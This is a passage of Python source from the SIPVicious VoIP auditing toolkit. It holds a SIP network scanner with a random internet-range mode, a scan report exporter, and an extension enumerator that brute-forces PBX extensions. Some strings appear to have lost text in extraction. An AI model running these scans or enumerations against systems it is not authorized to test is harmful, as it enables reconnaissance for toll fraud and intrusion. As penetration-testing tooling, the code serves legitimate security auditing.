None: if self.sentpackets >= self.first: self.log.info('Reached the limit to scan the first %s packets' % self.first) self.nomoretoscan = True except socket.error as err: self.log.error( "socket error while sending to %s:%s -> %s" % (dsthost[0],dsthost[1],err)) pass def main(): usage = "usage: %prog [options] host1 host2 hostrange\r\n" usage += 'Scans for SIP devices on a given network\r\n\r\n' usage += "examples:\r\n\r\n" usage += "%prog 10.0.0.1-10.0.0.255 " usage += "172.16.131.1 sipvicious.org/22 10.0.1.1/24" usage += "1.1.1.1-20 1.1.2-20.* 4.1.*.*\r\n\r\n" usage += "%prog -s session1 --randomize 10.0.0.1/8\r\n\r\n" usage += "%prog --resume session1 -v\r\n\r\n" usage += "%prog -p5060-5062 10.0.0.3-20 -m INVITE\r\n\r\n" parser = OptionParser(usage, version="%prog v"+str(__version__)+__GPL__) parser.add_option("-p", "--port", dest="port", default="5060", help="Destination port or port ranges of the SIP device - eg -p5060,5061,8000-8100", metavar="PORT") parser = standardoptions(parser) parser = standardscanneroptions(parser) parser.add_option("--randomscan", dest="randomscan", action="store_true", default=False, help="Scan random IP addresses") parser.add_option("-i", "--input", dest="input", help="Scan IPs which were found in a previous scan. Pass the session name as the argument", metavar="scan1") parser.add_option("-I", "--inputtext", dest="inputtext", help="Scan IPs from a text file - use the same syntax as command line but with new lines instead of commas. Pass the file name as the argument", metavar="scan1") parser.add_option("-m", "--method", dest="method", help="Specify the request method - by default this is OPTIONS.", default='OPTIONS') parser.add_option("-d", "--debug", dest="printdebug", help="Print SIP messages received", default=False, action="store_true") parser.add_option("--first", dest="first", help="Only send the first given number of messages (i.e. usually used to scan only X IPs)", type="long") parser.add_option("-e", "--extension", dest="extension", default='100', help="Specify an extension - by default this is not set") parser.add_option("--randomize", dest="randomize", action="store_true", default=False, help="Randomize scanning instead of scanning consecutive ip addresses") parser.add_option("--srv", dest="srvscan", action="store_true", default=False, help="Scan the SRV records for SIP on the destination domain name." \ "The targets have to be domain names - example.org domain1.com") parser.add_option('--fromname',dest="fromname", default="sipvicious", help="specify a name for the from header") parser.add_option('-6', '--ipv6', dest="ipv6", action='store_true', help="scan an IPv6 address") options, args = parser.parse_args() exportpath = None if options.resume is not None: exportpath = os.path.join(os.path.expanduser('~'),'.sipvicious',__prog__,options.resume) if os.path.exists(os.path.join(exportpath,'closed')): logging.error("Cannot resume a session that is complete") exit(1) if not os.path.exists(exportpath): logging.critical('A session with the name %s was not found'% options.resume) exit(1) optionssrc = os.path.join(exportpath,'options.pkl') previousresume = options.resume previousverbose = options.verbose options,args = pickle.load(open(optionssrc,'rb'), encoding='bytes') options.resume = previousresume options.verbose = previousverbose elif options.save is not None: exportpath = os.path.join(os.path.expanduser('~'),'.sipvicious',__prog__,options.save) logging.basicConfig(level=calcloglevel(options)) logging.debug('started logging') scanrandomstore = None if options.input is not None: db = os.path.join(os.path.expanduser('~'),'.sipvicious',__prog__,options.input,'resultua') if dbexists(db): scaniter = scanfromdb(db,options.method.split(',')) else: logging.error("the session name does not exist. Please use svreport to list existing scans") exit(1) elif options.randomscan: logging.debug('making use of random scan') logging.debug('parsing range of ports: %s' % options.port) portrange = getRange(options.port) internetranges =[[16777216,167772159], [184549376,234881023], [251658240,2130706431], [2147549184,2851995647], [2852061184,2886729727], [2886795264,3221159935], [3221226240,3227017983], [3227018240,3232235519], [3232301056,3323068415], [3323199488,3758096127] ] scanrandomstore = '.sipviciousrandomtmp' resumescan = False if options.save is not None: scanrandomstore = os.path.join(exportpath,'random') resumescan = True scaniter = scanrandom( internetranges, portrange, options.method.split(','), randomstore=scanrandomstore, resume=resumescan ) elif options.inputtext: logging.debug('Using IP addresses from input text file') try: f = open(options.inputtext,'r') args = f.readlines() f.close() except IOError: logging.critical('Could not open %s' % options.inputtext) exit(1) args = list(map(lambda x: x.strip(), args)) args = [x for x in args if len(x) > 0] logging.debug('ip addresses %s' % args) try: iprange = ip4range(*args) except ValueError as err: logging.error(err) exit(1) portrange = getRange(options.port) if options.randomize: scanrandomstore = '.sipviciousrandomtmp' resumescan = False if options.save is not None: scanrandomstore = os.path.join(exportpath,'random') resumescan = True scaniter = scanrandom(list(map(getranges,args)),portrange, options.method.split(','),randomstore=scanrandomstore,resume=resumescan) else: scaniter = scanlist(iprange,portrange,options.method.split(',')) else: if len(args) < 1: parser.error('Provide at least one target') exit(1) logging.debug('parsing range of ports: %s' % options.port) portrange = getRange(options.port) if options.randomize: scanrandomstore = '.sipviciousrandomtmp' resumescan = False if options.save is not None: scanrandomstore = os.path.join(exportpath,'random') resumescan = True scaniter = scanrandom(list(map(getranges,args)),portrange, options.method.split(','),randomstore=scanrandomstore,resume=resumescan) elif options.srvscan: logging.debug("making use of SRV records") scaniter = getTargetFromSRV(args,options.method.split(',')) else: if options.resume is not None: lastipsrc = os.path.join(exportpath,'lastip.pkl') try: f=open(lastipsrc,'rb') previousip = pickle.load(f, encoding='bytes') f.close() except IOError: logging.critical('Could not read from %s' % lastipsrc) exit(1) logging.debug('Previous args: %s' % args) args = resumeFromIP(previousip,args) logging.debug('New args: %s' % args) logging.info('Resuming from %s' % previousip) if options.ipv6: scaniter = scanlist(ip6range(*args), portrange, options.method.split(',')) else: # normal consecutive scan try: iprange = ip4range(*args) except ValueError as err: logging.error(err) exit(1) scaniter = scanlist(iprange,portrange,options.method.split(',')) if options.save is not None: if options.resume is None: exportpath = os.path.join(os.path.expanduser('~'),'.sipvicious',__prog__,options.save) if os.path.exists(exportpath): logging.warning('we found a previous scan with the same name. Please choose a new session name') exit(1) logging.debug('creating an export location %s' % exportpath) try: os.makedirs(exportpath,mode=0o700) except OSError: logging.critical('could not create the export location %s' % exportpath) exit(1) optionsdst = os.path.join(exportpath,'options.pkl') logging.debug('saving options to %s' % optionsdst) pickle.dump([options,args],open(optionsdst,'wb+')) try: options.extension except AttributeError: options.extension = None if options.autogetip: tmpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tmpsocket.connect(("msn.com",80)) options.externalip=tmpsocket.getsockname()[0] tmpsocket.close() sipvicious = DrinkOrSip( scaniter, selecttime=options.selecttime, compact=options.enablecompact, localport=options.localport, externalip=options.externalip, bindingip=options.bindingip, sessionpath=exportpath, extension=options.extension, printdebug=options.printdebug, first=options.first, fromname=options.fromname, ipv6=options.ipv6, ) start_time = datetime.now() logging.info( "start your engines" ) try: try: sipvicious.start() except AssertionError as err: logging.critical(err) exit(1) if exportpath is not None: open(os.path.join(exportpath,'closed'),'w').close() except KeyboardInterrupt: logging.warning( 'caught your control^c - quiting' ) pass except Exception as err: if options.reportBack: logging.critical( "Got unhandled exception : sending report to author" ) reportBugToAuthor(traceback.format_exc()) else: logging.critical( "Unhandled exception - please run same command with the -R option to send me an automated report") pass logging.exception( "Exception" ) if options.save is not None and sipvicious.nextip is not None and options.randomize is False and options.randomscan is False: lastipdst = os.path.join(exportpath,'lastip.pkl') logging.debug('saving state to %s' % lastipdst) try: f = open(lastipdst,'wb+') pickle.dump(sipvicious.nextip,f) f.close() except OSError: logging.warning('Could not save state to %s' % lastipdst) elif options.save is None: if scanrandomstore is not None: #if options.randomize or options.randomscan: try: logging.debug('removing %s' % scanrandomstore) os.unlink(scanrandomstore) except OSError: logging.warning('could not remove %s' % scanrandomstore) pass # display results if not options.quiet: lenres = len(sipvicious.resultua) if lenres > 0: logging.info("we have %s devices" % lenres) if (lenres < 400 and options.save is not None) or options.save is None: labels = ('SIP Device','User Agent') rows = list() try: for k in sipvicious.resultua.keys(): rows.append((k.decode(),sipvicious.resultua[k].decode())) except AttributeError: for k in sipvicious.resultua.keys(): rows.append((k,sipvicious.resultua[k])) print(to_string(rows, header=labels)) else: logging.warning("too many to print - use svreport for this") else: logging.warning("found nothing") end_time = datetime.now() total_time = end_time - start_time logging.info("Total time: %s" % total_time) if __name__ == '__main__': main() sipvicious-0.3.3/sipvicious/svreport.py000077500000000000000000000254551402607555200203710ustar00rootroot00000000000000# SIPVicious report engine __GPL__ = """ SIPVicious report engine manages sessions from previous scans with SIPVicious tools and allows you to export these scans. Copyright (C) 2007-2021 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ import re import dbm import csv import logging import os from optparse import OptionParser from sys import exit from datetime import datetime from operator import itemgetter from sipvicious.libs.svhelper import ( __version__, calcloglevel, listsessions, deletesessions, getsessionpath, dbexists, createReverseLookup, getasciitable, outputtoxml, outputtopdf ) __prog__ = 'svreport' def main(): commandsusage = """Supported commands:\r\n - list:\tlists all scans\r\n - export:\texports the given scan to a given format\r\n - delete:\tdeletes the scan\r\n - stats:\tprint out some statistics of interest\r\n - search:\tsearch for a specific string in the user agent (svmap)\r\n """ commandsusage += "examples:\r\n\r\n" commandsusage += " %s.py list\r\n\r\n" % __prog__ commandsusage += " %s.py export -f pdf -o scan1.pdf -s scan1\r\n\r\n" % __prog__ commandsusage += " %s.py delete -s scan1\r\n\r\n" % __prog__ usage = "%prog [command] [options]\r\n\r\n" usage += commandsusage parser = OptionParser(usage=usage, version="%prog v" + str(__version__) + __GPL__) parser.add_option('-v', '--verbose', dest="verbose", action="count", help="Increase verbosity") parser.add_option('-q', '--quiet', dest="quiet", action="store_true", default=False, help="Quiet mode") parser.add_option("-t", "--type", dest="sessiontype", help="Type of session. This is usually either svmap, svwar or svcrack. If not set I will try to find the best match") parser.add_option("-s", "--session", dest="session", help="Name of the session") parser.add_option("-f", "--format", dest="format", help="Format type. Can be stdout, pdf, xml, csv or txt") parser.add_option("-o", "--output", dest="outputfile", help="Output filename") parser.add_option("-n", dest="resolve", default=True, action="store_false", help="Do not resolve the ip address") parser.add_option("-c", "--count", dest="count", default=False, action="store_true", help="Used togather with 'list' command to count the number of entries") (options, args) = parser.parse_args() if len(args) < 1: parser.error("Please specify a command.\r\n") exit(1) command = args[0] validcommands = ['list', 'export', 'delete', 'stats', 'search'] if command not in validcommands: parser.error('%s is not a supported command' % command) exit(1) logging.basicConfig(level=calcloglevel(options)) sessiontypes = ['svmap', 'svwar', 'svcrack'] if options.sessiontype not in sessiontypes: parser.error("Invalid session type. Please specify a valid session type.") exit(1) logging.debug('started logging') if command == 'list': listsessions(options.sessiontype, count=options.count) if command == 'delete': if options.session is None: parser.error("Please specify a valid session.") exit(1) sessionpath = deletesessions(options.session, options.sessiontype) if sessionpath is None: parser.error( 'Session could not be found. Make sure it exists by making use of %s.py list' % __prog__) exit(1) elif command == 'export': start_time = datetime.now() if options.session is None: parser.error("Please specify a valid session") exit(1) if options.outputfile is None and options.format not in [None, 'stdout']: parser.error("Please specify an output file") exit(1) tmp = getsessionpath(options.session, options.sessiontype) if tmp is None: parser.error( 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) exit(1) sessionpath, sessiontype = tmp resolve = False resdb = None if sessiontype == 'svmap': dbloc = os.path.join(sessionpath, 'resultua') labels = ['Host', 'User Agent'] elif sessiontype == 'svwar': dbloc = os.path.join(sessionpath, 'resultauth') labels = ['Extension', 'Authentication'] elif sessiontype == 'svcrack': dbloc = os.path.join(sessionpath, 'resultpasswd') labels = ['Extension', 'Password'] if not dbexists(dbloc): logging.error('The database could not be found: %s' % dbloc) exit(1) db = dbm.open(dbloc, 'r') if options.resolve and sessiontype == 'svmap': resolve = True labels.append('Resolved') resdbloc = os.path.join(sessionpath, 'resolved') if not dbexists(resdbloc): logging.info('Performing DNS reverse lookup') resdb = dbm.open(resdbloc, 'c') createReverseLookup(db, resdb) else: logging.info('Not Performing DNS lookup') resdb = dbm.open(resdbloc, 'r') if options.outputfile is not None: if options.outputfile.find('.') < 0: if options.format is None: options.format = 'txt' options.outputfile += '.%s' % options.format if options.format in [None, 'stdout', 'txt']: o = getasciitable(labels, db, resdb) if options.outputfile is None: print(o) else: open(options.outputfile, 'w').write(o) elif options.format == 'xml': o = outputtoxml('%s report' % sessiontype, labels, db, resdb) open(options.outputfile, 'w').write(o) elif options.format == 'pdf': outputtopdf(options.outputfile, '%s report' % sessiontype, labels, db, resdb) elif options.format == 'csv': writer = csv.writer(open(options.outputfile, "w")) for k in db.keys(): row = [k, db[k]] if resdb is not None: if k in resdb: row.append(resdb[k]) else: row.append('N/A') writer.writerow(row) logging.info("That took %s" % (datetime.now() - start_time)) elif command == 'stats': if options.session is None: parser.error("Please specify a valid session") exit(1) if options.outputfile is None and options.format not in [None, 'stdout']: parser.error("Please specify an output file") exit(1) tmp = getsessionpath(options.session, options.sessiontype) if tmp is None: parser.error( 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) exit(1) sessionpath, sessiontype = tmp if sessiontype != 'svmap': parser.error('Only takes svmap sessions for now') exit(1) dbloc = os.path.join(sessionpath, 'resultua') if not dbexists(dbloc): logging.error('The database could not be found: %s' % dbloc) exit(1) db = dbm.open(dbloc, 'r') useragents = dict() useragentconames = dict() for k in db.keys(): v = db[k] if v not in useragents: useragents[v] = 0 useragents[v] += 1 useragentconame = re.split(b'[ /]', v)[0] if useragentconame not in useragentconames: useragentconames[useragentconame] = 0 useragentconames[useragentconame] += 1 _useragents = sorted(iter(useragents.items()), key=itemgetter(1), reverse=True) suseragents = list(map(lambda x: '\t- %s (%s)' % (x[0].decode(), x[1]), _useragents)) _useragentsnames = sorted( iter(useragentconames.items()), key=itemgetter(1), reverse=True) suseragentsnames = list(map(lambda x: '\t- %s (%s)' % (x[0].decode(), x[1]), _useragentsnames)) print("Total number of SIP devices found: %s" % len(list(db.keys()))) print("Total number of useragents: %s\r\n" % len(suseragents)) print("Total number of useragent names: %s\r\n" % len(suseragentsnames)) print("Most popular top 30 useragents:\r\n") print('\r\n'.join(suseragents[:30]), '\r\n\r\n') print("Most unpopular top 30 useragents:\r\n\t") print('\r\n'.join(suseragents[-30:]), "\r\n\r\n") print("Most popular top 30 useragent names:\r\n") print('\r\n'.join(suseragentsnames[:30]), '\r\n\r\n') print("Most unpopular top 30 useragent names:\r\n\t") print('\r\n'.join(suseragentsnames[-30:]), '\r\n\r\n') elif command == 'search': if options.session is None: parser.error("Please specify a valid session") exit(1) if len(args) < 2: parser.error('You need to specify a search string') searchstring = args[1] tmp = getsessionpath(options.session, options.sessiontype) if tmp is None: parser.error( 'Session could not be found. Make sure it exists by making use of %s list' % __prog__) exit(1) sessionpath, sessiontype = tmp if sessiontype != 'svmap': parser.error('Only takes svmap sessions for now') exit(1) dbloc = os.path.join(sessionpath, 'resultua') if not dbexists(dbloc): logging.error('The database could not be found: %s' % dbloc) exit(1) db = dbm.open(dbloc, 'r') useragents = dict() useragentconames = dict() labels = ['Host', 'User Agent'] for k in db.keys(): v = db[k].decode() if searchstring.lower() in v.lower(): print(k.decode() + '\t' + v) if __name__ == "__main__": main() sipvicious-0.3.3/sipvicious/svwar.py000077500000000000000000000740531402607555200176450ustar00rootroot00000000000000# svwar.py - SIPvicious extension line scanner __GPL__ = """ Sipvicious extension line scanner scans SIP PaBXs for valid extension lines Copyright (C) 2007-2021 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """ import logging import random import select import pickle import socket import sys import time import dbm import os import traceback from sys import exit from optparse import OptionParser from datetime import datetime from urllib.parse import urlparse from sipvicious.libs.pptable import to_string from sipvicious.libs.svhelper import ( __version__, numericbrute, dictionaryattack, mysendto, createTag, check_ipv6, makeRequest, getTag, parseHeader, getRealm, standardoptions, standardscanneroptions, calcloglevel, resumeFrom, getRange, reportBugToAuthor, packetcounter ) __prog__ = 'svwar' class TakeASip: def __init__(self, host='localhost', bindingip='', externalip=None, localport=5060, method='REGISTER', guessmode=1, guessargs=None, selecttime=0.005, sessionpath=None, compact=False, socktimeout=3, initialcheck=True, enableack=False, maxlastrecvtime=15, domain=None, printdebug=False, ipv6=False, port=5060): self.log = logging.getLogger('TakeASip') self.maxlastrecvtime = maxlastrecvtime self.sessionpath = sessionpath self.dbsyncs = False self.enableack = enableack if self.sessionpath is not None: self.resultauth = dbm.open(os.path.join( self.sessionpath, 'resultauth'), 'c') try: self.resultauth.sync() self.dbsyncs = True self.log.info("Db does sync") except AttributeError: self.log.info("Db does not sync") pass else: self.resultauth = dict() family = socket.AF_INET if ipv6: family = socket.AF_INET6 self.sock = socket.socket(family, socket.SOCK_DGRAM) self.sock.settimeout(socktimeout) self.bindingip = bindingip self.localport = localport self.ipv6 = ipv6 self.originallocalport = localport self.rlist = [self.sock] self.wlist = list() self.xlist = list() self.challenges = list() self.realm = None try: if int(port) >= 1 and int(port) <= 65535: self.dsthost, self.dstport = host, int(port) else: raise ValueError except (ValueError, TypeError): self.log.error('port should strictly be an integer between 1 and 65535') exit(1) self.domain = self.dsthost if domain: self.domain = domain self.guessmode = guessmode self.guessargs = guessargs if self.guessmode == 1: self.usernamegen = numericbrute(*self.guessargs) elif guessmode == 2: self.usernamegen = dictionaryattack(self.guessargs) self.selecttime = selecttime self.compact = compact self.nomore = False self.BADUSER = None self.method = method.upper() if self.method == 'INVITE': self.log.warning( 'using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night') if self.sessionpath is not None: self.packetcount = packetcounter(50) self.initialcheck = initialcheck self.lastrecvtime = time.time() if externalip is None: self.log.debug("external ip was not set") if (self.bindingip != '0.0.0.0') and (len(self.bindingip) > 0): self.log.debug( "but bindingip was set! we'll set it to the binding ip") self.externalip = self.bindingip else: try: self.log.info( "trying to get self ip .. might take a while") self.externalip = socket.gethostbyname( socket.gethostname()) except socket.error: self.externalip = '127.0.0.1' else: self.log.debug("external ip was set") self.externalip = externalip self.printdebug = printdebug # SIP response codes, also mapped to ISDN Q.931 disconnect causes. PROXYAUTHREQ = 'SIP/2.0 407 ' AUTHREQ = 'SIP/2.0 401 ' OKEY = 'SIP/2.0 200 ' NOTFOUND = 'SIP/2.0 404 ' INVALIDPASS = 'SIP/2.0 403 ' TRYING = 'SIP/2.0 100 ' RINGING = 'SIP/2.0 180 ' NOTALLOWED = 'SIP/2.0 405 ' UNAVAILABLE = 'SIP/2.0 480 ' DECLINED = 'SIP/2.0 603 ' INEXISTENTTRANSACTION = 'SIP/2.0 481' # Mapped to ISDN Q.931 codes - 88 (Incompatible destination), 95 (Invalid message), 111 (Protocol error) # If we get something like this, then most probably the remote device SIP stack has troubles with # understanding / parsing our messages (a.k.a. interopability problems). BADREQUEST = 'SIP/2.0 400 ' # Mapped to ISDN Q.931 codes - 34 (No circuit available), 38 (Network out of order), 41 (Temporary failure), # 42 (Switching equipment congestion), 47 (Resource unavailable) # Should be handled in the very same way as SIP response code 404 - the prefix is not correct and we should # try with the next one. SERVICEUN = 'SIP/2.0 503 ' def createRequest(self, m, username=None, auth=None, cid=None, cseq=1, fromaddr=None, toaddr=None, contact=None): if cid is None: cid = '%s' % str(random.getrandbits(32)) branchunique = '%s' % random.getrandbits(32) localtag = createTag(username) domain = self.domain if self.ipv6 and check_ipv6(domain): domain = '[' + self.domain + ']' if not contact: contact = 'sip:%s@%s' % (username, domain) if not fromaddr: fromaddr = '"%s"' % (username, username, domain) if not toaddr: toaddr = '"%s"' % (username, username, domain) request = makeRequest( m, fromaddr, toaddr, domain, self.dstport, cid, self.externalip, branchunique, cseq, auth, localtag, self.compact, contact=contact, localport=self.localport, extension=username ) return request def getResponse(self): # we got stuff to read off the socket buff, srcaddr = self.sock.recvfrom(8192) if self.printdebug: print(srcaddr) print(buff) buff = buff.decode('utf-8') try: extension = getTag(buff).decode('utf-8', 'ignore') except (TypeError, AttributeError): self.log.error('could not decode to tag') extension = None if extension is None: self.nomore = True return try: firstline = buff.splitlines()[0] except (ValueError, IndexError, AttributeError): self.log.error("could not get the 1st line") return if self.enableack: # send an ack to any responses which match _tmp = parseHeader(buff) if not (_tmp and 'code' in _tmp): return if 699 > _tmp['code'] >= 200: self.log.debug('will try to send an ACK response') if 'headers' not in _tmp: self.log.debug('no headers?') return if 'from' not in _tmp['headers']: self.log.debug('no from?') return if 'cseq' not in _tmp['headers']: self.log.debug('no cseq') return if 'call-id' not in _tmp['headers']: self.log.debug('no caller id') return try: # _tmp['headers']['from'][0].split('"')[1] username = getTag(buff) except IndexError: self.log.warning('could not parse the from address %s' % _tmp[ 'headers']['from']) username = 'XXX' cseq = _tmp['headers']['cseq'][0] cseqmethod = cseq.split()[1] if 'INVITE' == cseqmethod: cid = _tmp['headers']['call-id'][0] fromaddr = _tmp['headers']['from'][0] toaddr = _tmp['headers']['to'][0] ackreq = self.createRequest('ACK', cid=cid, cseq=cseq.replace( cseqmethod, ''), fromaddr=fromaddr, toaddr=toaddr, ) self.log.debug('here is your ack request: %s' % ackreq) mysendto(self.sock, ackreq, (self.dsthost, self.dstport)) # self.sock.sendto(ackreq,(self.dsthost,self.dstport)) if _tmp['code'] == 200: byemsg = self.createRequest('BYE', cid=cid, cseq='2', fromaddr=fromaddr, toaddr=toaddr, ) self.log.debug( 'sending a BYE to the 200 OK for the INVITE') mysendto(self.sock, byemsg, (self.dsthost, self.dstport)) if firstline != self.BADUSER: if buff.startswith(self.PROXYAUTHREQ) \ or buff.startswith(self.INVALIDPASS) \ or buff.startswith(self.AUTHREQ): if self.realm is None: self.realm = getRealm(buff) self.log.info( "extension '%s' exists - requires authentication" % extension) self.resultauth[extension] = 'reqauth' if self.sessionpath is not None and self.dbsyncs: self.resultauth.sync() elif buff.startswith(self.TRYING): pass elif buff.startswith(self.RINGING): pass elif buff.startswith(self.OKEY): self.log.info( "extension '%s' exists - authentication not required" % extension) self.resultauth[extension] = 'noauth' if self.sessionpath is not None and self.dbsyncs: self.resultauth.sync() else: self.log.warning( "extension '%s' probably exists but the response is unexpected" % extension) self.log.debug("response: %s" % firstline) self.resultauth[extension] = 'weird' if self.sessionpath is not None and self.dbsyncs: self.resultauth.sync() elif buff.startswith(self.NOTFOUND): self.log.debug("User '%s' not found" % extension) elif buff.startswith(self.INEXISTENTTRANSACTION): pass # Prefix not found, lets go to the next one. Should we add a warning # here??? elif buff.startswith(self.SERVICEUN): pass elif buff.startswith(self.TRYING): pass elif buff.startswith(self.RINGING): pass elif buff.startswith(self.OKEY): pass elif buff.startswith(self.DECLINED): pass elif buff.startswith(self.NOTALLOWED): self.log.warning("method not allowed") self.nomore = True return elif buff.startswith(self.BADREQUEST): self.log.error( "Protocol / interopability error! The remote side most probably has problems with parsing your SIP messages!") self.nomore = True return else: self.log.warning("We got an unknown response") self.log.error("Response: %s" % buff.__repr__()) self.log.debug("1st line: %s" % firstline.__repr__()) self.log.debug("Bad user: %s" % self.BADUSER.__repr__()) self.nomore = True def start(self): if self.bindingip == '': bindingip = 'any' else: bindingip = self.bindingip self.log.debug("binding to %s:%s" % (bindingip, self.localport)) while 1: if self.localport > 65535: self.log.critical("Could not bind to any port") return try: self.sock.bind((self.bindingip, self.localport)) break except socket.error: self.log.debug("could not bind to %s" % self.localport) self.localport += 1 if self.originallocalport != self.localport: self.log.warning("could not bind to %s:%s - some process might already be listening on this port. Listening on port %s instead" % (self.bindingip, self.originallocalport, self.localport)) self.log.info( "Make use of the -P option to specify a port to bind to yourself") # perform a test 1st .. we want to see if we get a 404 # some other error for unknown users self.nextuser = random.getrandbits(32) data = self.createRequest(self.method, self.nextuser) try: mysendto(self.sock, data, (self.dsthost, self.dstport)) # self.sock.sendto(data,(self.dsthost,self.dstport)) except socket.error as err: self.log.error("socket error: %s" % err) return # first we identify the assumed reply for an unknown extension gotbadresponse = False try: while 1: try: buff, srcaddr = self.sock.recvfrom(8192) if self.printdebug: print(srcaddr) print(buff) except socket.error as err: self.log.error("socket error: %s" % err) return buff = buff.decode('utf-8', 'ignore') if buff.startswith(self.TRYING) \ or buff.startswith(self.RINGING) \ or buff.startswith(self.UNAVAILABLE): gotbadresponse = True elif (buff.startswith(self.PROXYAUTHREQ) or buff.startswith(self.INVALIDPASS) or buff.startswith(self.AUTHREQ)) \ and self.initialcheck: self.log.error( "SIP server replied with an authentication request for an unknown extension. Set --force to force a scan.") return else: self.BADUSER = buff.splitlines()[0] self.log.debug("Bad user = %s" % self.BADUSER) gotbadresponse = False break except socket.timeout: if gotbadresponse: self.log.error("The response we got was not good: %s" % buff.__repr__()) else: self.log.error( "No server response - are you sure that this PBX is listening? run svmap against it to find out") return except (AttributeError, ValueError, IndexError): self.log.error("bad response .. bailing out") return except socket.error as err: self.log.error("socket error: %s" % err) return if self.BADUSER.startswith(self.AUTHREQ): self.log.warning( "Bad user = %s - svwar will probably not work!" % self.AUTHREQ) # let the fun commence self.log.info('Ok SIP device found') while 1: if self.nomore: while 1: try: self.getResponse() except socket.timeout: return r, _, _ = select.select( self.rlist, self.wlist, self.xlist, self.selecttime ) if r: # we got stuff to read off the socket self.getResponse() self.lastrecvtime = time.time() else: # check if its been a while since we had a response to prevent # flooding - otherwise stop timediff = time.time() - self.lastrecvtime if timediff > self.maxlastrecvtime: self.nomore = True self.log.warning( 'It has been %s seconds since we last received a response - stopping' % timediff) continue # no stuff to read .. its our turn to send back something try: self.nextuser = next(self.usernamegen) except StopIteration: self.nomore = True continue except TypeError: self.nomore = True self.log.exception('Bad format string') data = self.createRequest(self.method, self.nextuser) try: self.log.debug("sending request for %s" % self.nextuser) mysendto(self.sock, data, (self.dsthost, self.dstport)) # self.sock.sendto(data,(self.dsthost,self.dstport)) if self.sessionpath is not None: if next(self.packetcount): try: if self.guessmode == 1: pickle.dump(self.nextuser, open(os.path.join( exportpath, 'lastextension.pkl'), 'wb+')) self.log.debug( 'logged last extension %s' % self.nextuser) elif self.guessmode == 2: pickle.dump(self.guessargs.tell(), open( os.path.join(exportpath, 'lastextension.pkl'), 'wb+')) self.log.debug( 'logged last position %s' % self.guessargs.tell()) except IOError: self.log.warning( 'could not log the last extension scanned') except socket.error as err: self.log.error("socket error: %s" % err) break def main(): usage = "usage: %prog [options] target\r\n" usage += "examples:\r\n" usage += "%prog -e100-999 udp://10.0.0.1:5080\r\n" usage += "%prog -d dictionary.txt 10.0.0.2\r\n" parser = OptionParser(usage, version="%prog v" + str(__version__) + __GPL__) parser.add_option("-p", "--port", dest="port", default="5060", help="Destination port of the SIP device - eg -p 5060", metavar="PORT") parser = standardoptions(parser) parser = standardscanneroptions(parser) parser.add_option("-d", "--dictionary", dest="dictionary", type="string", help="specify a dictionary file with possible extension names or - for stdin", metavar="DICTIONARY") parser.add_option("-m", "--method", dest="method", type="string", help="specify a request method. The default is REGISTER. Other possible methods are OPTIONS and INVITE", default="REGISTER", metavar="OPTIONS") parser.add_option("-e", "--extensions", dest="range", default='100-999', help="specify an extension or extension range\r\nexample: -e 100-999,1000-1500,9999", metavar="RANGE") parser.add_option("-z", "--zeropadding", dest="zeropadding", type="int", help="the number of zeros used to padd the username." \ "the options \"-e 1-9999 -z 4\" would give 0001 0002 0003 ... 9999", default=0, metavar="PADDING") parser.add_option('--force', dest="force", action="store_true", default=False, help="Force scan, ignoring initial sanity checks.") parser.add_option('--template', '-T', action="store", dest="template", help="A format string which allows us to specify a template for the extensions" \ "example svwar.py -e 1-999 --template=\"123%#04i999\" would scan between 1230001999 to 1230999999\"") parser.add_option('--enabledefaults', '-D', action="store_true", dest="defaults", default=False, help="Scan for default / typical extensions such as" \ "1000,2000,3000 ... 1100, etc. This option is off by default." \ "Use --enabledefaults to enable this functionality") parser.add_option('--maximumtime', action='store', dest='maximumtime', type="int", default=10, help="Maximum time in seconds to keep sending requests without receiving a response back") parser.add_option('--domain', dest="domain", help="force a specific domain name for the SIP message, eg. -d example.org") parser.add_option("--debug", dest="printdebug", help="Print SIP messages received", default=False, action="store_true") parser.add_option('-6', dest="ipv6", action="store_true", help="scan an IPv6 address") options, args = parser.parse_args() global exportpath exportpath = None logging.basicConfig(level=calcloglevel(options)) logging.debug('started logging') if options.force: initialcheck = False else: initialcheck = True if options.template is not None: try: options.template % 1 except TypeError: logging.critical( "The format string template is not correct. Please provide an appropiate one") exit(1) if options.resume is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.resume) if os.path.exists(os.path.join(exportpath, 'closed')): logging.error("Cannot resume a session that is complete") exit(1) if not os.path.exists(exportpath): logging.critical( 'A session with the name %s was not found' % options.resume) exit(1) optionssrc = os.path.join(exportpath, 'options.pkl') previousresume = options.resume previousverbose = options.verbose options, args = pickle.load(open(optionssrc, 'rb'), encoding='bytes') options.resume = previousresume options.verbose = previousverbose elif options.save is not None: exportpath = os.path.join(os.path.expanduser( '~'), '.sipvicious', __prog__, options.save) if len(args) != 1: parser.error("provide one hostname") destport = options.port parsed = urlparse(args[0]) if not parsed.scheme: host = args[0] else: if any(parsed.scheme == i for i in ('tcp', 'tls', 'ws', 'wss')): parser.error('Protocol scheme %s is not supported in SIPVicious OSS' % parsed.scheme) if parsed.scheme != 'udp': parser.error('Invalid protocol scheme: %s' % parsed.scheme) if ':' not in parsed.netloc: parser.error('You have to supply hosts in format of scheme://host:port when using newer convention.') if int(destport) != 5060: parser.error('You cannot supply additional -p when already including a port in URI. Please use only one.') host = parsed.netloc.split(':')[0] destport = parsed.netloc.split(':')[1] if options.dictionary is not None: guessmode = 2 if options.dictionary == "-": dictionary = sys.stdin else: try: dictionary = open(options.dictionary, 'r', encoding='utf-8', errors='ignore') except IOError: logging.error("could not open %s" % options.dictionary) exit(1) if options.resume is not None: lastextensionsrc = 